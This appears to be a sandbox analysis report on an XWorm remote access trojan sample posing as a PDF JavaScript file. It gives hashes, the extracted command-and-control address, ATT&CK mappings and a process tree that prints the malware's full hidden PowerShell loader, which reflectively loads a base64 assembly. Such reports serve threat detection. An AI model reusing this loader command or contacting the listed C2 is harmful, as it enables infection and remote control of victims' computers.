xworm | 799a8e6cbc529bef4506ef0ffaf93f8b265c9a3038fce4d5c9c1c2658153ed91

General

Target
PDF_565924.js
Size 13.3MB
Sample260818-qfzecsshqc
SHA256 799a8e6cbc529bef4506ef0ffaf93f8b265c9a3038fce4d5c9c1c2658153ed91
MD5 c4d2781657a19fe52096f0fd37b50581
SHA1 fa1585bce82cb16c2b25f37ef22f144c7f1bfe08
SHA512 361ecedcad4e65b33f3d1f917f683c52200fdc407bb9f2818036c01f840a3eed62b9bad17732699263905891c3341afe5cfcdc02b08dac46015df561e04dc184
SSDEEP 384:xBSD+ZbyRV6ZI2+oIDM+zCoIOsjIaycjxdjClKbNllS7IEmAqaRKjR4I0tEXcEMx:AfT0SfO6
TLSH
T10DE649E5A7FDA2CE3233DF866EB855E454BFF8971D09A96C04B02281B311416C668F73
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

93.152.221.78:7000

Mutex

LOao2MkIgt0w3i99

Attributes

install_file
USB.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/816-11-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1640	4164	powershell.exe	85

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	2228	wscript.exe
8	2228	wscript.exe
15	1640	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1640	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
7	discord.com
8	discord.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1640 set thread context of 816	1640	powershell.exe	91

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1640	powershell.exe
1640	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeDebugPrivilege	816	Caspol.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4584	conhost.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4584 wrote to memory of 1752	4584	conhost.exe	90
PID 1640 wrote to memory of 816	1640	powershell.exe	91
PID 1640 wrote to memory of 816	1640	powershell.exe	91
PID 1640 wrote to memory of 816	1640	powershell.exe	91
PID 1640 wrote to memory of 816	1640	powershell.exe	91
PID 1640 wrote to memory of 816	1640	powershell.exe	91

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\PDF_565924.js
1⤵
- Badlisted process makes network request
PID:2228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('zUTPH9Fy89055zx9B7FDJINqkSv7ju9Bq5omORHR1Ey37StziAD2UfSHV9o/S/l4tGK62DPhlxx77SEPPAnEIUaQQM/7/GuBkAscE9U2EcE=','TOgbzCVsAVwXMpx4IhNslsmRiwRD6fk6/I1K44gf5i4=','nuL7oxJD7N4TsWaiqMkwMCb1WLWkQPYqxEattTWFKswpX53nlx45mOlnQrbJ/r4l','4Y2DuYKp5q1HwOzPwde1qa2myRGoXEEiHRytLV1KK+I=','Sa5NDGL48kbj2QIcBrBYf9O6KIDwA/CftQehfhd907o=','','cSI5I/D7GJRwGUDoQF45ZCcmzDV9UrFIowE1hc6kJgs=','1tYhzQuaeW448+u/1bPVBmWin5I3SrOvXG4MPBX1aBg=','f+RkmYHPRknMEyCwW+GEhNcSmoZSJFz41OYzNTBuTDP0dlfCrcucu6OHMh6wUq0RTXKzPObbytOJligi0LZWrwcjvvSd5vQPseuqME8PORyBjjk6N1MaKVN0Ibdxof4C','O6s/Y4f5Q29EuALU6tMhUSLIrsctL2Yy/jr+8UbW+EXwCkQrXJhYTRDgUGHuBVfB','MBgJfAxpbw/qZKWDUjPEJhAPjN/yd+yryq8mQ6ar6RY=','MqYCTn5tkYfLpy1WkvkIJ0oMhpaSj/iiPd4+KVoFX/M=','QZG1eDwxS22X2KOqYbD+emZJ6q6hZkoYOvfyDS2dcOw=','T1fL2WPiRK7yUXnhMrW+W4ArlG2TKiWrfANHwaKBseU=','BogFYzza69fb2/0vQOmKytCOnIFvLOq87p8c7kISSK8=','rZ+Fln+ue/g8BnosghdiDAXTZ8FbSL7ZaAlFt47pt2Y=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:816

C:\Windows\system32\conhost.exe
conhost.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe
  2⤵
  PID:1752

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_a02guo4v.kpu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a02guo4v.kpu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/816-11-0x0000000000400000-0x000000000040E000-memory.dmp

Download

memory/816-14-0x0000000005830000-0x00000000058CC000-memory.dmp

Download

memory/1640-0-0x0000014F8DFA0000-0x0000014F8DFB0000-memory.dmp

Download

memory/1640-1-0x0000014F8DFA0000-0x0000014F8DFB0000-memory.dmp

Download

memory/1640-9-0x0000014F8DFB0000-0x0000014F8DFD2000-memory.dmp

Download

memory/1640-10-0x0000014F8BCB0000-0x0000014F8BD18000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads